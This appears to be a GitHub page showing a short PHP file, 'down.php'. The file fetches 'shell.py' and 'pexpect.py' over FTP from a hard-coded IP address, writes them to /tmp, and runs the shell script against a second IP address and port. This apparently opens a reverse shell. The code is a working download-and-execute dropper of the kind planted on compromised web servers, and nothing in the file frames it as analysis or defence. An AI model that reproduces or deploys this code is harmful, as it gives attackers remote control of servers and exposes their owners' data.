-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathdown.php
36 lines (36 loc) · 992 Bytes
/
down.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
/* Returns the contents of file name passed */
function get_file_contents($filename)
{
if (!function_exists('file_get_contents'))
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
}
else
{
$fcontents = file_get_contents($filename);
}
return $fcontents;
}
/* Returns the contents of file name passed */
function put_file_contents($filename, $cont)
{
if (!function_exists('file_put_contents'))
{
$fhandle = fopen($filename, "w");
$fcontents = fwrite($fhandle, $cont);
fclose($fhandle);
}
else
{
file_put_contents($filename, $cont);
}
}
$str = get_file_contents( 'ftp://95.181.93.72/ftppub/shell.py' );
put_file_contents( '/tmp/shell.py', $str );
$str = get_file_contents( 'ftp://95.181.93.72/ftppub/pexpect.py' );
put_file_contents( '/tmp/pexpect.py', $str );
system( 'python2 /tmp/shell.py 82.200.55.186 8889' );
?>